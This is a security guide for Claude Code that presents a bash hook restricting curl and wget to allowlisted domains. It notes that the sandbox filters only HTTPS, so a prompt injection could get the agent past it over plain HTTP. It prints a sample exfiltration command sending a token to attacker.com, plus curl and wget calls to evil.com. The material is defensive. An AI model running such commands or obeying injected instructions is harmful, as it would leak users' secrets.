Bash Domain Allowlist for Claude Code

Claude Code can run curl, wget, and other HTTP tools to any domain. Even with sandbox allowedDomains configured, plain HTTP requests may bypass filtering. A hook-level domain allowlist provides defense-in-depth.

The Risk: Data Exfiltration via Bash

Sandbox allowedDomains bypassed for plain HTTP

The sandbox proxy filters HTTPS (CONNECT tunnels) but not plain HTTP. A prompt injection can instruct Claude to run curl "http://attacker.com/log?token=SECRET" and exfiltrate data.

#40213

Attack vectors that bypass sandbox-only protection:

VectorSandbox blocks?Hook blocks?
curl https://evil.comYes (CONNECT)Yes
curl http://evil.comNoYes
wget http://evil.comNoYes
Python urllibDependsNo*

* For Python/Node HTTP, pair with WebFetch domain allowlist and network-exfil-guard.

The Fix: PreToolUse Domain Allowlist

#!/bin/bash
# bash-domain-allowlist.sh — TRIGGER: PreToolUse MATCHER: "Bash"

INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
[ -z "$CMD" ] && exit 0
echo "$CMD" | grep -qE '\b(curl|wget)\b' || exit 0

ALLOWED=("github.com" "api.github.com" "registry.npmjs.org" "localhost" "127.0.0.1")

DOMAINS=$(echo "$CMD" | grep -oE 'https?://[^/"'"'"'" ]+' | sed -E 's|^https?://||;s|/.*||;s|:.*||' | sort -u)
[ -z "$DOMAINS" ] && exit 0

for domain in $DOMAINS; do
    allowed=false
    for pattern in "${ALLOWED[@]}"; do
        regex=$(echo "$pattern" | sed 's/\./\\./g; s/\*/.*/g')
        echo "$domain" | grep -qE "^${regex}$" && allowed=true && break
    done
    [ "$allowed" = false ] && echo "BLOCKED: $domain not in allowlist" >&2 && exit 2
done
exit 0

Configuration

Set allowed domains via environment variable or edit the script:

# Environment variable (comma-separated)
export CC_ALLOWED_DOMAINS="github.com,api.github.com,*.internal.corp"

# Or in settings.json hook config
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{ "type": "command", "command": "bash-domain-allowlist.sh" }]
    }]
  }
}

Defense in Depth

For maximum protection, layer three independent guards:

  1. Sandbox allowedDomains — OS-level network filtering (blocks HTTPS)
  2. bash-domain-allowlist — Hook-level URL filtering (blocks HTTP and HTTPS curl/wget)
  3. network-exfil-guard — Pattern-based data exfiltration detection (blocks file uploads, piped data)

Install Safety Hooks in 10 Seconds

npx cc-safe-setup

8 safety hooks + 655 examples. 9,200+ tests.

cc-safe-setup — Make Claude Code safe for autonomous operation